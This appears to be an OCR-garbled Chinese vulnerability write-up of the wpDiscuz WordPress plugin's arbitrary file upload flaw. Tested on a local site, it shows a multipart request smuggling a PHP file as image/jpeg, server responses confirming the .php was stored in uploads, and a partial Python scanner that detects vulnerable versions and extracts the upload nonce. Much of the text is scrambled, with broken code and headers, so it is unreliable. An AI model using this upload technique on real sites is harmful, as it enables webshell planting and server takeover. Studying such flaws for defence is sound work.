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Hi, this is a comment.
To get started with moderating, editing, and deleting comments, please visit the Comments
screen in the dashboard.
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Commenter avatars come from Gravatar.
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2.phpstorm &\ web BF, RtBRIZH, HE— php 3EML—T, HERRE
http://127.0.0.1:8888/wordpress/wp-admin/admin-ajax.php, EIAE EEARTH,
(http://127.0.0.1:8888/wordpress/wp-admin/admin-
ajax.php%EF%BC%8C%E9%BB %98 %E8%AE%A4%E6%I8%AF%E4%B8%8A%E4%BC%
A0%E4%B8%8D%E4%BA%86%E7%9A%84%E3%80%82)

OAL4404U/ OUIYULIUOOLY / / 20UD0, TR TR /R SEVVAVIN
UM_distinctid=172d5161ebc0-0918de5bf73b5b8-2a3906-7e900-172d5161ebd874; Date: Mon, 10 Aug 2020 15:07:11 GMT
CNZZDATA1261572618=1977210652-1592712257-%7C1592712257 Server: Apache
X-Forwarded-For: 114.114.3.4 X-Powered-By: PHP/5.6.40
X-Robots-Tag: noindex
628205617840901471299208012 X-Content-Type-Options: nosniff
Content-Disposition: form-data; name="action" Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0

wmuUploadFiles X-Frame-Options: SAMEORIGIN

----------------------------- 428628205617840901471299208012 Referrer-Policy: strict-origin-when-cross-origin
Content-Disposition: form-data; name="wmu_nonce" Content-Length: 449
Connection: close
1be2dd3975 Content-Type: application/json; charset=UTF-8
----------------------------- 428628205617840901471299208012
Content-Disposition: form-data; name ="wmuAttachmentsData" {"success":true,'data":{"errorCode":"","error":'{," ":["1.php (mimetype - text\/plain} - Not

allowed file type"],"attachmentsHtml":"<div c[ass=wmu-attached-data-mio wmu-nide > <input
class='"wmu-attachments-ids' type="hidden' name='wmu_attachments'

| B———— 428628205617840901471299208012 value="{&quot;images&quot;:[]}"\/ > <input class='wmu-attachments-data’ type="hidden’
Content-Disposition: form-data; name="wmu_files[0]"; ﬁlename value="{&quot;images&quot;:[1}'"\/ > <\/div>","previewsData":{"images":[1},"tooltip":"Change
Content-Type: image/jpeg the attached image"}}

hello master
————————————————————————————— 428628205617840901471299208012
Content-Disposition: form-data; name="postld"
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----------------------------- 428628205617840901471299208012
Content-Disposition: form-data; name="wmu_files[0]"; filename="1.php}
Content-Type: image/jpeg
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2. LEEFENERE/ php, ATLIERIREIIREE

HTTP/1.1 200 OK
Date: Mon, 10 Aug 2020 14:32:02 GMT
Server: Apache
X-Powered-By: PHP/5.6.40
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Content-Length: 783
Connection: close
Content-Type: application/json; charset=UTF-8
{"success":true,"data":{"errorCode":"","error":"","errors":[],"attachmentsHtml":"<div
class="wmu-attached-data-info wmu-hide' > <input class='"wmu-attachments-ids' type ="hidden'
h ! value="{&quot; ;:[16]}"\/ > <input
class='wmu-attachments-data' type="hidden’

alue ="{&quot;images&quot;: [{ &quot;id&quot;:16,&quot;url&quot;:&quot;http:\\\/\\\/127.0.
I‘l;.l:8888\\\/wordpress\\\/wp-content\\Vuplaads\\\/2020\\\/08\\\/1-1597069927.07-15
0x116.php&quot;,&quot;fullname&quot;:&quot;1.php&quot;,&quot;shortname&quot;:&quot; 1.p
hp&quot;}]}'\/ > <\/div>","previewsData":{"images":[{"id":16,"ur]": "http:\/\/127.0.0.1:8888\/
wordpress\/wp-content\/uploads\/2020\/08\/1-1597069927.07-150x116.php","fullname":"1.

php","shortname":"1.php"}]1},"tooltip":"Change the attached image"} }

name='wmu_:
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iy OfiE ~ LE < RlE # FRF MNBEF - /Applications/MAMP/htdocs/wordpress/wp-content/uploa = & ZEY

= 1 Applications
F"F;AMP £ A Ky it
5P htdocs [® 1-1597069927.07-150x116.php 2020-08-10 22:32:07 17.39 Kb 064
= I wordpress [# 1-1597069927.07.php 2020-08-10 22:32:02 27.89 Kb 064+

= ) wp-content
= [ uploads

= [ 2020

m 08
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padding: 0 limportant;

e

GET /wordpress/2020/08/10/hello-world/ HTTP/1.1
Host: 127.0.0.1:8888

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) </style>
Chrome/80.0.3987.132 Safari/537.36 Edg/80.0.361.66 <link rel ='stylesheet’ id="dashicons-css'

Accept: text/html application/xhtml +xml application/xml;q=0.9,image/webp,*/*;q=0.8 href="http://127.0.0.1:8888/wordpress/wp-includes/css/dashicons.min.css?ver=>5.4.2'
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 media='all' />

Accept-Encoding: gzip, deflate <link rel="stylesheet' id="admin-bar-css'

Referer: http://127.0.0.1:8888/wordpress/ :8888/wordpress/wp-includes/css/admin-bar.min.css?ver=5.4.2'
Connection: close

Cookie: wordpress_test_cookie=WP +Cookie +check;
wordpress_logged_in_9¢7f65dc68163d1ea496b2e2b71f77cd =admin%7C1597221747%7CjdZ0B
gfg4jZmL18onUnRTzYaPtCT5IA1kS8ILIsibMHLY%7C24493e70fc6e2467ce8520807e761a3b627c8 5.4.2 media="all' />
a142826780f9dcf088c97733d38; <link rel ='stvlesheet’ j
UM_distinctid=172d5161ebc0-0918de5bf73b5b8-2a3906-7e900-172d5161ebd874;

ink rel ="stylesheet' id ="wp-block-library-css
href="hutp://127.0.0.1:8888/wordpress/wp-includes/css/dist/block-library/style.min.css?ver=

pdiscuz-frontend-css-ces
888/ wordp; Sx/w‘prcun[ent/plug'ins,‘»\*pdlscuz/[hemes/def;\ul[/style,c:l

CNZZDATA1261572618=1977210652-1592712257-%7C1592712257

Upgrade-Insecure-Requests: 1 Sy SCUZ ~Co5 —Ceg

X-Forwarded-For: 114.114.3.4 #wpdcom .wpd-blog-administrator

Cache-Control: max-age=0 .wpd-comment-label{color:#ffffff;background-color:#00B38F;border:none} #wpdcom
.wpd-blog-administrator .wpd-comment-author, #wpdcom .wpd-blog-administrator

.wpd-comment-author a{color:#00B38F}#wpdcom.wpd-layout-1 .wpd-comment

(https://xzfile.aliyuncs.com/media/upload/picture/20200811112517-47448fae-
db82-1.png)
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import requests
import re

import sys

class wpdiscuz():
def __init__ (self):
self.s = requests.session()
self.s.headrs = {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/80.0.3987.132 Safari/537.36 Edg/80.0.361.66"
}

self.nonce

self.state False

def check(self, url):

res = self.s.get(url=url)

patl = "wpdiscuz/themes/default/style\.css\?ver=(.*?)""
reSearchl = re.search(patl, res.text)
if reSearchl == None:

print("%s TFRIHHANFEAEE IR % url)

return

_———— Ry R I I, 7 AN



mess = res>edrcrlil.group(v)
version = reSearchl.group(1)
# HIWTIR AR
vers = version.split(".")
if (len(vers) == 3):

if int(vers[@]) == 7:

if int(vers[2]) <= 4:
print(url + " FIEARESCMH LAETRIF wpdiscuzhiAH %s" % version)

self.state = True

if self.state == True:
# nonce
pat2 = '"wmuSecurity":"(.*?)"'

reSearch2 = re.search(pat2, res.text)
nonce = reSearch2.group(1)
self.nonce = nonce

else:

print("%s PFRIHHAFEARE SR % url)

def exp(self, url, project, filepath):

pass

n "

if _name__ == "_main__":
wpdiscuz = wpdiscuz()
url = sys.argv[1]

print ("FllIRIFEZ R ")

wpdiscuz.check(url)



